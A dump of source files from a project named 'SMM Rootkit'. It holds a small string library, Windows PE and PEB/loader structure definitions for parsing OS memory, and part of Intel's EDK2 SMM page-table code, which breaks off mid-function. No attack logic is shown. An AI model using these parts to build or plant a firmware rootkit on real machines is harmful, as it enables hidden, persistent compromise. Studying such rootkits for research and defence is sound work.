serial.\r\n * \r\n * @param _v --> the value to print\r\n * @param _b --> the base to convert to\r\n */\r\nVOID SerialPrintNumber(INT64 _v, INT64 _b);\r\n\r\n/*\r\n * Debug-version of SerialPrintNumber. Only prints\r\n * if ROOTKIT_VERBOSE is defined\r\n */\r\nVOID SerialPrintNumberDebug(UINT64 _v, UINT64 _b);\r\n\r\n\r\n#endif"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/string.c",
    "content": "#include \"string.h\"\n\nsize_t strlen(const CHAR8 *str)\n{\n  const CHAR8 *s;\n\n  for (s = str; *s; ++s)\n    ;\n  return (s - str);\n}\n\nCHAR8 *strcat(CHAR8 *destination, const CHAR8 *source)\n{\n  // make ptr point to the end of destination string\n  CHAR8 *ptr = destination + strlen(destination);\n\n  // Appends characters of source to the destination string\n  while (*source != '\\0')\n    *ptr++ = *source++;\n\n  // null terminate destination string\n  *ptr = '\\0';\n\n  // destination is returned by standard strcat()\n  return destination;\n}\n\nINT32 memcmp(const VOID *str1, const VOID *str2, size_t count)\n{\n  register const UINT8 *s1 = (const UINT8 *)str1;\n  register const UINT8 *s2 = (const UINT8 *)str2;\n\n  while (count-- > 0)\n  {\n    if (*s1++ != *s2++)\n      return s1[-1] < s2[-1] ? -1 : 1;\n  }\n  return 0;\n}\n\nCHAR8 tolower(UINT8 ch)\n{\n  if (ch >= 'A' && ch <= 'Z')\n    ch = 'a' + (ch - 'A');\n  return ch;\n}\n\nINT32 stricmp(const CHAR8 *s1, const CHAR8 *s2)\n{\n  const UINT8 *us1 = (const UINT8 *)s1,\n              *us2 = (const UINT8 *)s2;\n\n  while (tolower(*us1) == tolower(*us2++))\n    if (*us1++ == '\\0')\n      return (0);\n  return (tolower(*us1) - tolower(*--us2));\n}\n\nINT32 strcmp(const CHAR8 *s1, const CHAR8 *s2)\n{\n  for (; *s1 == *s2; ++s1, ++s2)\n    if (*s1 == 0)\n      return 0;\n  return *(UINT8 *)s1 < *(UINT8 *)s2 ? -1 : 1;\n}\n\nINT32 strncmp(const CHAR8 *s1, const CHAR8 *s2, size_t n)\n{\n  while (n && *s1 && (*s1 == *s2))\n  {\n    ++s1;\n    ++s2;\n    --n;\n  }\n  if (n == 0)\n  {\n    return 0;\n  }\n  else\n  {\n    return (*(UINT8 *)s1 - *(UINT8 *)s2);\n  }\n}\n\nconst CHAR8 *strstr(const CHAR8 *X, const CHAR8 *Y)\n{\n  size_t n = strlen(Y);\n\n  while (*X)\n  {\n    if (!memcmp(X, Y, n))\n      return X;\n\n    X++;\n  }\n\n  return 0;\n}\n\nCHAR8 *strdup(CHAR8 *src)\n{\n  CHAR8 *str;\n  CHAR8 *p;\n  INT32 len = 0;\n\n  while (src[len])\n    len++;\n  str = malloc(len + 1);\n  // gotta be safe, our malloc might actually fail :-)\n  if (!str)\n  {\n    return NULL;\n  }\n  p = str;\n  while (*src)\n    *p++ = *src++;\n  *p = '\\0';\n  return str;\n}"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/string.h",
    "content": "#ifndef __smmrootkit_string_h__\n#define __smmrootkit_string_h__\n\n#include <Base.h>\n#include \"MemManager.h\" // strdup\n\n#ifdef __GNUC__\ntypedef UINT32 size_t;\n#endif\n\nsize_t strlen(const CHAR8 *str);\n\nCHAR8 *strcat(CHAR8 *destination, const CHAR8 *source);\n\nINT32 memcmp(const VOID *str1, const VOID *str2, size_t count);\n\nINT32 strcmp(const CHAR8 *s1, const CHAR8 *s2);\n\nINT32 strncmp(const CHAR8 *s1, const CHAR8 *s2, size_t n);\n\nINT32 stricmp(const CHAR8 *s1, const CHAR8 *s2);\n\nconst CHAR8 *strstr(const CHAR8 *X, const CHAR8 *Y);\n\nCHAR8 *strdup(CHAR8 *src);\n\n#endif"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/windows.h",
    "content": "/*\r\n * This file has originally been supplied from \r\n * vmread by Heep042\r\n */\r\n\r\n#ifndef __smmrootkit_windows_h__\r\n#define __smmrootkit_windows_h__\r\n\r\n#ifdef __GNUC__\r\ntypedef unsigned int size_t;\r\n#endif\r\n\r\n#define HEADER_SIZE 0x1000\r\n#define PAGE_OFFSET_SIZE 12\r\nstatic const UINT64 PMASK = (~0xfull << 8) & 0xfffffffffull;\r\nstatic const UINT64 PMASK2 = (~0xfull << 8) & 0xfffffffffull;\r\n\r\n#define IMAGE_NT_OPTIONAL_HDR32_MAGIC 0x10b\r\n#define IMAGE_NT_OPTIONAL_HDR64_MAGIC 0x20b\r\n#define IMAGE_DIRECTORY_ENTRY_EXPORT 0 /* Export Directory */\r\n#define IMAGE_DOS_SIGNATURE 0x5a4d     /* MZ */\r\n#define IMAGE_NT_SIGNATURE 0x4550      /* PE00 */\r\n#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16\r\n#define IMAGE_SIZEOF_SHORT_NAME 8\r\n\r\ntypedef struct _IMAGE_DOS_HEADER\r\n{\r\n  UINT16 e_magic;\r\n  UINT16 e_cblp;\r\n  UINT16 e_cp;\r\n  UINT16 e_crlc;\r\n  UINT16 e_cparhdr;\r\n  UINT16 e_minalloc;\r\n  UINT16 e_maxalloc;\r\n  UINT16 e_ss;\r\n  UINT16 e_sp;\r\n  UINT16 e_csum;\r\n  UINT16 e_ip;\r\n  UINT16 e_cs;\r\n  UINT16 e_lfarlc;\r\n  UINT16 e_ovno;\r\n  UINT16 e_res[4];\r\n  UINT16 e_oemid;\r\n  UINT16 e_oeminfo;\r\n  UINT16 e_res2[10];\r\n  int e_lfanew;\r\n} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;\r\n\r\ntypedef struct _IMAGE_EXPORT_DIRECTORY\r\n{\r\n  UINT32 Characteristics;\r\n  UINT32 TimeDateStamp;\r\n  UINT16 MajorVersion;\r\n  UINT16 MinorVersion;\r\n  UINT32 Name;\r\n  UINT32 Base;\r\n  UINT32 NumberOfFunctions;\r\n  UINT32 NumberOfNames;\r\n  UINT32 AddressOfFunctions;\r\n  UINT32 AddressOfNames;\r\n  UINT32 AddressOfNameOrdinals;\r\n} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;\r\n\r\ntypedef struct _IMAGE_FILE_HEADER\r\n{\r\n  UINT16 Machine;\r\n  UINT16 NumberOfSections;\r\n  UINT32 TimeDateStamp;\r\n  UINT32 PointerToSymbolTable;\r\n  UINT32 NumberOfSymbols;\r\n  UINT16 SizeOfOptionalHeader;\r\n  UINT16 Characteristics;\r\n} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;\r\n\r\ntypedef struct _IMAGE_DATA_DIRECTORY\r\n{\r\n  UINT32 VirtualAddress;\r\n  UINT32 Size;\r\n} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;\r\n\r\ntypedef struct _IMAGE_OPTIONAL_HEADER64\r\n{\r\n  UINT16 Magic;\r\n  UINT8 MajorLinkerVersion;\r\n  UINT8 MinorLinkerVersion;\r\n  UINT32 SizeOfCode;\r\n  UINT32 SizeOfInitializedData;\r\n  UINT32 SizeOfUninitializedData;\r\n  UINT32 AddressOfEntryPoint;\r\n  UINT32 BaseOfCode;\r\n  UINT64 ImageBase;\r\n  UINT32 SectionAlignment;\r\n  UINT32 FileAlignment;\r\n  UINT16 MajorOperatingSystemVersion;\r\n  UINT16 MinorOperatingSystemVersion;\r\n  UINT16 MajorImageVersion;\r\n  UINT16 MinorImageVersion;\r\n  UINT16 MajorSubsystemVersion;\r\n  UINT16 MinorSubsystemVersion;\r\n  UINT32 Win32VersionValue;\r\n  UINT32 SizeOfImage;\r\n  UINT32 SizeOfHeaders;\r\n  UINT32 CheckSum;\r\n  UINT16 Subsystem;\r\n  UINT16 DllCharacteristics;\r\n  UINT64 SizeOfStackReserve;\r\n  UINT64 SizeOfStackCommit;\r\n  UINT64 SizeOfHeapReserve;\r\n  UINT64 SizeOfHeapCommit;\r\n  UINT32 LoaderFlags;\r\n  UINT32 NumberOfRvaAndSizes;\r\n  IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];\r\n} IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64;\r\n\r\ntypedef struct _IMAGE_NT_HEADERS64\r\n{\r\n  UINT32 Signature;\r\n  IMAGE_FILE_HEADER FileHeader;\r\n  IMAGE_OPTIONAL_HEADER64 OptionalHeader;\r\n} IMAGE_NT_HEADERS64, IMAGE_NT_HEADERS, *PIMAGE_NT_HEADERS64, *PIMAGE_NT_HEADERS;\r\n\r\ntypedef struct _IMAGE_OPTIONAL_HEADER32\r\n{\r\n  UINT16 Magic;\r\n  UINT8 MajorLinkerVersion;\r\n  UINT8 MinorLinkerVersion;\r\n  UINT32 SizeOfCode;\r\n  UINT32 SizeOfInitializedData;\r\n  UINT32 SizeOfUninitializedData;\r\n  UINT32 AddressOfEntryPoint;\r\n  UINT32 BaseOfCode;\r\n  UINT32 BaseOfData;\r\n  UINT32 ImageBase;\r\n  UINT32 SectionAlignment;\r\n  UINT32 FileAlignment;\r\n  UINT16 MajorOperatingSystemVersion;\r\n  UINT16 MinorOperatingSystemVersion;\r\n  UINT16 MajorImageVersion;\r\n  UINT16 MinorImageVersion;\r\n  UINT16 MajorSubsystemVersion;\r\n  UINT16 MinorSubsystemVersion;\r\n  UINT32 Win32VersionValue;\r\n  UINT32 SizeOfImage;\r\n  UINT32 SizeOfHeaders;\r\n  UINT32 CheckSum;\r\n  UINT16 Subsystem;\r\n  UINT16 DllCharacteristics;\r\n  UINT32 SizeOfStackReserve;\r\n  UINT32 SizeOfStackCommit;\r\n  UINT32 SizeOfHeapReserve;\r\n  UINT32 SizeOfHeapCommit;\r\n  UINT32 LoaderFlags;\r\n  UINT32 NumberOfRvaAndSizes;\r\n  IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];\r\n} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;\r\n\r\ntypedef struct _IMAGE_NT_HEADERS32\r\n{\r\n  UINT32 Signature;\r\n  IMAGE_FILE_HEADER FileHeader;\r\n  IMAGE_OPTIONAL_HEADER32 OptionalHeader;\r\n} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;\r\n\r\ntypedef struct _IMAGE_SECTION_HEADER\r\n{\r\n  UINT8 Name[IMAGE_SIZEOF_SHORT_NAME];\r\n  union {\r\n    UINT32 PhysicalAddress;\r\n    UINT32 VirtualSize;\r\n  } Misc;\r\n  UINT32 VirtualAddress;\r\n  UINT32 SizeOfRawData;\r\n  UINT32 PointerToRawData;\r\n  UINT32 PointerToRelocations;\r\n  UINT32 PointerToLinenumbers;\r\n  UINT16 NumberOfRelocations;\r\n  UINT16 NumberOfLinenumbers;\r\n  UINT32 Characteristics;\r\n} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;\r\n\r\ntypedef struct _LIST_ENTRY_WIN\r\n{\r\n  UINT64 f_link;\r\n  UINT64 b_link;\r\n} LIST_ENTRY_WIN;\r\n\r\ntypedef struct _UNICODE_STRING\r\n{\r\n  UINT16 length;\r\n  UINT16 maximum_length;\r\n  UINT64 buffer;\r\n} UNICODE_STRING;\r\n\r\ntypedef struct _LDR_MODULE\r\n{\r\n  LIST_ENTRY_WIN InLoadOrderModuleList;\r\n  LIST_ENTRY_WIN InMemoryOrderModuleList;\r\n  LIST_ENTRY_WIN InInitializationOrderModuleList;\r\n  UINT64 BaseAddress;\r\n  UINT64 EntryPoint;\r\n  UINT64 SizeOfImage;\r\n  UNICODE_STRING FullDllName;\r\n  UNICODE_STRING BaseDllName;\r\n  UINT64 Flags;\r\n  short LoadCount;\r\n  short TlsIndex;\r\n  LIST_ENTRY_WIN HashTableEntry;\r\n  UINT64 TimeDateStamp;\r\n} LDR_MODULE, *PLDR_MODULE;\r\n\r\ntypedef struct _PEB_LDR_DATA\r\n{\r\n  UINT64 Length;\r\n  UINT8 Initialized;\r\n  UINT64 SsHandle;\r\n  LIST_ENTRY_WIN InLoadOrderModuleList;\r\n  LIST_ENTRY_WIN InMemoryOrderModuleList;\r\n  LIST_ENTRY_WIN InInitializationOrderModuleList;\r\n  UINT64 EntryInProgress;\r\n} PEB_LDR_DATA;\r\n\r\ntypedef struct _PEB\r\n{\r\n  UINT8 InheritedAddressSpace;\r\n  UINT8 ReadImageFileExecOptions;\r\n  UINT8 BeingFebugged;\r\n  UINT8 BitField;\r\n  UINT8 Padding0[4];\r\n  UINT64 Mutant;\r\n  UINT64 ImageBaseAddress;\r\n  UINT64 Ldr;\r\n} PEB, PEB64;\r\n\r\ntypedef struct _LIST_ENTRY_32_WIN\r\n{\r\n  UINT32 f_link;\r\n  UINT32 b_link;\r\n} LIST_ENTRY_32_WIN;\r\n\r\ntypedef struct _UNICODE_STRING32\r\n{\r\n  UINT16 length;\r\n  UINT16 maximum_length;\r\n  UINT32 buffer;\r\n} UNICODE_STRING32;\r\n\r\ntypedef struct _LDR_MODULE32\r\n{\r\n  LIST_ENTRY_32_WIN InLoadOrderModuleList;\r\n  LIST_ENTRY_32_WIN InMemoryOrderModuleList;\r\n  LIST_ENTRY_32_WIN InInitializationOrderModuleList;\r\n  UINT32 BaseAddress;\r\n  UINT32 EntryPoint;\r\n  UINT32 SizeOfImage;\r\n  UNICODE_STRING32 FullDllName;\r\n  UNICODE_STRING32 BaseDllName;\r\n  UINT32 Flags;\r\n  short LoadCount;\r\n  short TlsIndex;\r\n  LIST_ENTRY_32_WIN HashTableEntry;\r\n  UINT32 TimeDateStamp;\r\n} LDR_MODULE32, *PLDR_MODULE32;\r\n\r\ntypedef struct _PEB_LDR_DATA32\r\n{\r\n  UINT32 Length;\r\n  UINT8 Initialized;\r\n  UINT32 SsHandle;\r\n  LIST_ENTRY_32_WIN InLoadOrderModuleList;\r\n  LIST_ENTRY_32_WIN InMemoryOrderModuleList;\r\n  LIST_ENTRY_32_WIN InInitializationOrderModuleList;\r\n  UINT32 EntryInProgress;\r\n} PEB_LDR_DATA32;\r\n\r\ntypedef struct _PEB32\r\n{\r\n  UINT8 InheritedAddressSpace;\r\n  UINT8 ReadImageFileExecOptions;\r\n  UINT8 BeingFebugged;\r\n  UINT8 BitField;\r\n  UINT32 Mutant;\r\n  UINT32 ImageBaseAddress;\r\n  UINT32 Ldr;\r\n} PEB32;\r\n\r\n#endif"
  },
  {
    "path": "SMM Rootkit/UefiCpuPkg/PiSmmCpuDxeSmm/X64/PageTbl.c",
    "content": "/** @file\r\nPage Fault (#PF) handler for X64 processors\r\n\r\nCopyright (c) 2009 - 2017, Intel Corporation. All rights reserved.<BR>\r\nCopyright (c) 2017, AMD Incorporated. All rights reserved.<BR>\r\n\r\nThis program and the accompanying materials\r\nare licensed and made available under the terms and conditions of the BSD License\r\nwhich accompanies this distribution.  The full text of the license may be found at\r\nhttp://opensource.org/licenses/bsd-license.php\r\n\r\nTHE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\nWITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n**/\r\n\r\n#include \"PiSmmCpuDxeSmm.h\"\r\n\r\n#define PAGE_TABLE_PAGES            8\r\n#define ACC_MAX_BIT                 BIT3\r\n\r\nLIST_ENTRY                          mPagePool = INITIALIZE_LIST_HEAD_VARIABLE (mPagePool);\r\nBOOLEAN                             m1GPageTableSupport = FALSE;\r\nBOOLEAN                             mCpuSmmStaticPageTable;\r\n\r\n/**\r\n  Check if 1-GByte pages is supported by processor or not.\r\n\r\n  @retval TRUE   1-GByte pages is supported.\r\n  @retval FALSE  1-GByte pages is not supported.\r\n\r\n**/\r\nBOOLEAN\r\nIs1GPageSupport (\r\n  VOID\r\n  )\r\n{\r\n  UINT32         RegEax;\r\n  UINT32         RegEdx;\r\n\r\n  AsmCpuid (0x80000000, &RegEax, NULL, NULL, NULL);\r\n  if (RegEax >= 0x80000001) {\r\n    AsmCpuid (0x80000001, NULL, NULL, NULL, &RegEdx);\r\n    if ((RegEdx & BIT26) != 0) {\r\n      return TRUE;\r\n    }\r\n  }\r\n  return FALSE;\r\n}\r\n\r\n/**\r\n  Set sub-entries number in entry.\r\n\r\n  @param[in, out] Entry        Pointer to entry\r\n  @param[in]      SubEntryNum  Sub-entries number based on 0:\r\n                               0 means there is 1 sub-entry under this entry\r\n                               0x1ff means there is 512 sub-entries under this entry\r\n\r\n**/\r\nVOID\r\nSetSubEntriesNum (\r\n  IN OUT UINT64               *Entry,\r\n  IN     UINT64               SubEntryNum\r\n  )\r\n{\r\n  //\r\n  // Sub-entries number is saved in BIT52 to BIT60 (reserved field) in Entry\r\n  //\r\n  *Entry = BitFieldWrite64 (*Entry, 52, 60, SubEntryNum);\r\n}\r\n\r\n/**\r\n  Return sub-entries number in entry.\r\n\r\n  @param[in] Entry        Pointer to entry\r\n\r\n  @return Sub-entries number based on 0:\r\n          0 means there is 1 sub-entry under this entry\r\n          0x1ff means there is 512 sub-entries under this entry\r\n**/\r\nUINT64\r\nGetSubEntriesNum (\r\n  IN UINT64            *Entry\r\n  )\r\n{\r\n  //\r\n  // Sub-entries number is saved in BIT52 to BIT60 (reserved field) in Entry\r\n  //\r\n  return BitFieldRead64 (*Entry, 52, 60);\r\n}\r\n\r\n/**\r\n  Calculate the maximum support address.\r\n\r\n  @return the maximum support address.\r\n**/\r\nUINT8\r\nCalculateMaximumSupportAddress (\r\n  VOID\r\n  )\r\n{\r\n  UINT32                                        RegEax;\r\n  UINT8                                         PhysicalAddressBits;\r\n  VOID                                          *Hob;\r\n\r\n  //\r\n  // Get physical address bits supported.\r\n  //\r\n  Hob = GetFirstHob (EFI_HOB_TYPE_CPU);\r\n  if (Hob != NULL) {\r\n    PhysicalAddressBits = ((EFI_HOB_CPU *) Hob)->SizeOfMemorySpace;\r\n  } else {\r\n    AsmCpuid (0x80000000, &RegEax, NULL, NULL, NULL);\r\n    if (RegEax >= 0x80000008) {\r\n      AsmCpuid (0x80000008, &RegEax, NULL, NULL, NULL);\r\n      PhysicalAddressBits = (UINT8) RegEax;\r\n    } else {\r\n      PhysicalAddressBits = 36;\r\n    }\r\n  }\r\n\r\n  //\r\n  // IA-32e paging translates 48-bit linear addresses to 52-bit physical addresses.\r\n  //\r\n  ASSERT (PhysicalAddressBits <= 52);\r\n  if (PhysicalAddressBits > 48) {\r\n    PhysicalAddressBits = 48;\r\n  }\r\n  return PhysicalAddressBits;\r\n}\r\n\r\n/**\r\n  Set static page table.\r\n\r\n  @param[in] PageTable     Address of page table.\r\n**/\r\nVOID\r\nSetStaticPageTable (\r\n  IN UINTN               PageTable\r\n  )\r\n{\r\n  UINT64                                        PageAddress;\r\n  UINTN                                         NumberOfPml4EntriesNeeded;\r\n  UINTN                                         NumberOfPdpEntriesNeeded;\r\n  UINTN                                         IndexOfPml4Entries;\r\n  UINTN                                         IndexOfPdpEntries;\r\n  UINTN                                         IndexOfPageDirectoryEntries;\r\n  UINT64                                        *PageMapLevel4Entry;\r\n  UINT64                                        *PageMap;\r\n  UINT64                                        *PageDirectoryPointerEntry;\r\n  UINT64                                        *PageDirectory1GEntry;\r\n  UINT64                                        *PageDirectoryEntry;\r\n\r\n  if (mPhysicalAddressBits <= 39 ) {\r\n    NumberOfPml4EntriesNeeded = 1;\r\n    NumberOfPdpEntriesNeeded = (UINT32)LShiftU64 (1, (mPhysicalAddressBits - 30));\r\n  } else {\r\n    NumberOfPml4EntriesNeeded = (UINT32)LShiftU64 (1, (mPhysicalAddressBits - 39));\r\n    NumberOfPdpEntriesNeeded = 512;\r\n  }\r\n\r\n  //\r\n  // By architecture only one PageMapLevel4 exists - so lets allocate storage for it.\r\n  //\r\n  PageMap         = (VOID *) PageTable;\r\n\r\n  PageMapLevel4Entry = PageMap;\r\n  PageAddress        = 0;\r\n  for (IndexOfPml4Entries = 0; IndexOfPml4Entries < NumberOfPml4EntriesNeeded; IndexOfPml4Entries++, PageMapLevel4Entry++) {\r\n    //\r\n    // Each PML4 entry points to a page of Page Directory Pointer entries.\r\n    //\r\n    PageDirectoryPointerEntry = (UINT64 *) ((*PageMapLevel4Entry) & ~mAddressEncMask & gPhyMask);\r\n    if (PageDirectoryPointerEntry == NULL) {\r\n      PageDirectoryPointerEntry = AllocatePageTableMemory (1);\r\n      ASSERT(PageDirectoryPointerEntry != NULL);\r\n      ZeroMem (PageDirectoryPointerEntry, EFI_PAGES_TO_SIZE(1));\r\n\r\n      *PageMapLevel4Entry = (UINT64)(UINTN)PageDirectoryPointerEntry | mAddressEncMask | PAGE_ATTRIBUTE_BITS;\r\n    }\r\n\r\n    if (m1GPageTableSupport) {\r\n      PageDirectory1GEntry = PageDirectoryPointerEntry;\r\n      for (IndexOfPageDirectoryEntries = 0; IndexOfPageDirectoryEntries < 512; IndexOfPageDirectoryEntries++, PageDirectory1GEntry++, PageAddress += SIZE_1GB) {\r\n        if (IndexOfPml4Entries == 0 && IndexOfPageDirectoryEntries < 4) {\r\n          //\r\n          // Skip the < 4G entries\r\n          //\r\n          continue;\r\n        }\r\n        //\r\n        // Fill in the Page Directory entries\r\n        //\r\n        *PageDirectory1GEntry = PageAddress | mAddressEncMask | IA32_PG_PS | PAGE_ATTRIBUTE_BITS;\r\n      }\r\n    } else {\r\n      PageAddress = BASE_4GB;\r\n      for (IndexOfPdpEntries = 0; IndexOfPdpEntries < NumberOfPdpEntriesNeeded; IndexOfPdpEntries++, PageDirectoryPointerEntry++) {\r\n        if (IndexOfPml4Entries == 0 && IndexOfPdpEntries < 4) {\r\n          //\r\n          // Skip the < 4G entries\r\n          //\r\n          continue;\r\n        }\r\n        //\r\n        // Each Directory Pointer entries points to a page of Page Directory entires.\r\n        // So allocate space for them and fill them in in the IndexOfPageDirectoryEntries loop.\r\n        //\r\n        PageDirectoryEntry = (UINT64 *) ((*PageDirectoryPointerEntry) & ~mAddressEncMask & gPhyMask);\r\n        if (PageDirectoryEntry == NULL) {\r\n          PageDirectoryEntry = AllocatePageTableMemory (1);\r\n          ASSERT(PageDirectoryEntry != NULL);\r\n          ZeroMem (PageDirectoryEntry, EFI_PAGES_TO_SIZE(1));\r\n\r\n          //\r\n          // Fill in a Page Directory Pointer Entries\r\n          //\r\n          *PageDirectoryPointerEntry = (UINT64)(UINTN)PageDirectoryEntry | mAddressEncMask | PAGE_ATTRIBUTE_BITS;\r\n        }\r\n\r\n        for (IndexOfPageDirectoryEntries = 0; IndexOfPageDirectoryEntries < 512; IndexOfPageDirectoryEntries++, PageDirectoryEntry++, PageAddress += SIZE_2MB) {\r\n          //\r\n          // Fill in the Page Directory entries\r\n          //\r\n          *PageDirectoryEntry = PageAddress | mAddressEncMask | IA32_PG_PS | PAGE_ATTRIBUTE_BITS;\r\n        }\r\n      }\r\n    }\r\n  }\r\n}\r\n\r\n/**\r\n  Create PageTable for SMM use.\r\n\r\n  @return The address of PML4 (to set CR3).\r\n\r\n**/\r\nUINT32\r\nSmmInitPageTable (\r\n  VOID\r\n  )\r\n{\r\n  EFI_PHYSICAL_ADDRESS              Pages;\r\n  UINT64                            *PTEntry;\r\n  LIST_ENTRY                        *FreePage;\r\n  UINTN                             Index;\r\n  UINTN                             PageFaultHandlerHookAddress;\r\n  IA32_IDT_GATE_DESCRIPTOR          *IdtEntry;\r\n  EFI_STATUS                        Status;\r\n\r\n  //\r\n  // Initialize spin lock\r\n  //\r\n  InitializeSpinLock (mPFLock);\r\n\r\n  mCpuSmmStaticPageTable = PcdGetBool (PcdCpuSmmStaticPageTable);\r\n  m1GPageTableSupport = Is1GPageSupport ();\r\n  DEBUG ((DEBUG_INFO, \"1GPageTableSupport - 0x%x\\n\", m1GPageTableSupport));\r\n  DEBUG ((DEBUG_INFO, \"PcdCpuSmmStaticPageTable - 0x%x\\n\", mCpuSmmStaticPageTable));\r\n\r\n  mPhysicalAddressBits = CalculateMaximumSupportAddress ();\r\n  DEBUG ((DEBUG_INFO, \"PhysicalAddressBits - 0x%x\\n\", mPhysicalAddressBits));\r\n  //\r\n  // Generate PAE page table for the first 4GB memory space\r\n  //\r\n  Pages = Gen4GPageTable (FALSE);\r\n\r\n  //\r\n  // Set IA32_PG_PMNT bit to mask this entry\r\n  //\r\n  PTEntry = (UINT64*)(UINTN)Pages;\r\n  for (Index = 0; Index < 4; Index++) {\r\n    PTEntry[Index] |= IA32_PG_PMNT;\r\n  }\r\n\r\n  //\r\n  // Fill Page-Table-Level4 (PML4) entry\r\n  //\r\n  PTEntry = (UINT64*)AllocatePageTableMemory (1);\r\n  ASSERT (PTEntry != NULL);\r\n  *PTEntry = Pages | mAddressEncMask | PAGE_ATTRIBUTE_BITS;\r\n  ZeroMem (PTEntry + 1, EFI_PAGE_SIZE - sizeof (*PTEntry));\r\n\r\n  //\r\n  // Set sub-entries number\r\n  //\r\n  SetSubEntriesNum (PTEntry, 3);\r\n\r\n  if (mCpuSmmStaticPageTable) {\r\n    SetStaticPageTable ((UINTN)PTEntry);\r\n  } else {\r\n    //\r\n    // Add pages to page pool\r\n    //\r\n    FreePage = (LIST_ENTRY*)AllocatePageTableMemory (PAGE_TABLE_PAGES);\r\n    ASSERT (FreePage != NULL);\r\n    for (Index = 0; Index < PAGE_TABLE_PAGES; Index++) {\r\n      InsertTailList (&mPagePool, FreePage);\r\n      FreePage += EFI_PAGE_SIZE / sizeof (*FreePage);\r\n    }\r\n  }\r\n\r\n  if (FeaturePcdGet (PcdCpuSmmProfileEnable)) {\r\n    //\r\n    // Set own Page Fault entry instead of the default one, because SMM Profile\r\n    // feature depends on IRET instruction to do Single Step\r\n    //\r\n    PageFaultHandlerHookAddress = (UINTN)PageFaultIdtHandlerSmmProfile;\r\n    IdtEntry  = (IA32_IDT_GATE_DESCRIPTOR *) gcSmiIdtr.Base;\r\n    IdtEntry += EXCEPT_IA32_PAGE_FAULT;\r\n    IdtEntry->Bits.OffsetLow      = (UINT16)PageFaultHandlerHookAddress;\r\n    IdtEntry->Bits.Reserved_0     = 0;\r\n    IdtEntry->Bits.GateType       = IA32_IDT_GATE_TYPE_INTERRUPT_32;\r\n    IdtEntry->Bits.OffsetHigh     = (UINT16)(PageFaultHandlerHookAddress >> 16);\r\n    IdtEntry->Bits.OffsetUpper    = (UINT32)(PageFaultHandlerHookAddress >> 32);\r\n    IdtEntry->Bits.Reserved_1     = 0;\r\n  } else {\r\n    //\r\n    // Register Smm Page Fault Handler\r\n    //\r\n    Status = SmmRegisterExceptionHandler (&mSmmCpuService, EXCEPT_IA32_PAGE_FAULT, SmiPFHandler);\r\n    ASSERT_EFI_ERROR (Status);\r\n  }\r\n\r\n  //\r\n  // Additional SMM IDT initialization for SMM stack guard\r\n  //\r\n  if (FeaturePcdGet (PcdCpuSmmStackGuard)) {\r\n    InitializeIDTSmmStackGuard ();\r\n  }\r\n\r\n  //\r\n  // Return the address of PML4 (to set CR3)\r\n  //\r\n  return (UINT32)(UINTN)PTEntry;\r\n}\r\n\r\n/**\r\n  Set access record in entry.\r\n\r\n  @param[in, out] Entry        Pointer to entry\r\n  @param[in]      Acc          Access record value\r\n\r\n**/\r\nVOID\r\nSetAccNum (\r\n  IN OUT UINT64               *Entry,\r\n  IN     UINT64               Acc\r\n  )\r\n{\r\n  //\r\n  // Access record is saved in BIT9 to BIT11 (reserved field) in Entry\r\n  //\r\n  *Entry = BitFieldWrite64 (*Entry, 9, 11, Acc);\r\n}\r\n\r\n/**\r\n  Return access record in entry.\r\n\r\n  @param[in] Entry        Pointer to entry\r\n\r\n  @return Access record value.\r\n\r\n**/\r\nUINT64\r\nGetAccNum (\r\n  IN UINT64            *Entry\r\n  )\r\n{\r\n  //\r\n  // Access record is saved in BIT9 to BIT11 (reserved field) in Entry\r\n  //\r\n  return BitFieldRead64 (*Entry, 9, 11);\r\n}\r\n\r\n/**\r\n  Return and update the access record in entry.\r\n\r\n  @param[in, out]  Entry    Pointer to entry\r\n\r\n  @return Access record value.\r\n\r\n**/\r\nUINT64\r\nGetAndUpdateAccNum (\r\n  IN OUT UINT64      *Entry\r\n  )\r\n{\r\n  UINT64         Acc;\r\n\r\n  Acc = GetAccNum (Entry);\r\n  if ((*Entry & IA32_PG_A) != 0) {\r\n    //\r\n    // If this entry has been accessed, clear access flag in Entry and update access record\r\n    // to the initial value 7, adding ACC_MAX_BIT is to make it larger than others\r\n    //\r\n    *Entry &= ~(UINT64)(UINTN)IA32_PG_A;\r\n    SetAccNum (Entry, 0x7);\r\n    return (0x7 + ACC_MAX_BIT);\r\n  } else {\r\n    if (Acc != 0) {\r\n      //\r\n      // If the access record is not the smallest value 0, minus 1 and update the access record field\r\n      //\r\n      SetAccNum (Entry, Acc - 1);\r\n    }\r\n  }\r\n  return Acc;\r\n}\r\n\r\n/**\r\n  Reclaim free pages for PageFault handler.\r\n\r\n  Search the whole entries tree to find the leaf entry that has the smallest\r\n  access record value. Insert the page pointed by this leaf entry into the\r\n  page pool. And check its upper entries if need to be inserted into the page\r\n  pool or not.\r\n\r\n**/\r\nVOID\r\nReclaimPages (\r\n  VOID\r\n  )\r\n{\r\n  UINT64                       *Pml4;\r\n  UINT64                       *Pdpt;\r\n  UINT64                       *Pdt;\r\n  UINTN                        Pml4Index;\r\n  UINTN                        PdptIndex;\r\n  UINTN                        PdtIndex;\r\n  UINTN                        MinPml4;\r\n  UINTN                        MinPdpt;\r\n  UINTN                        MinPdt;\r\n  UINT64                       MinAcc;\r\n  UINT64                       Acc;\r\n  UINT64                       SubEntriesNum;\r\n  BOOLEAN                      PML4EIgnore;\r\n  BOOLEAN                      PDPTEIgnore;\r\n  UINT64                       *ReleasePageAddress;\r\n\r\n  Pml4 = NULL;\r\n  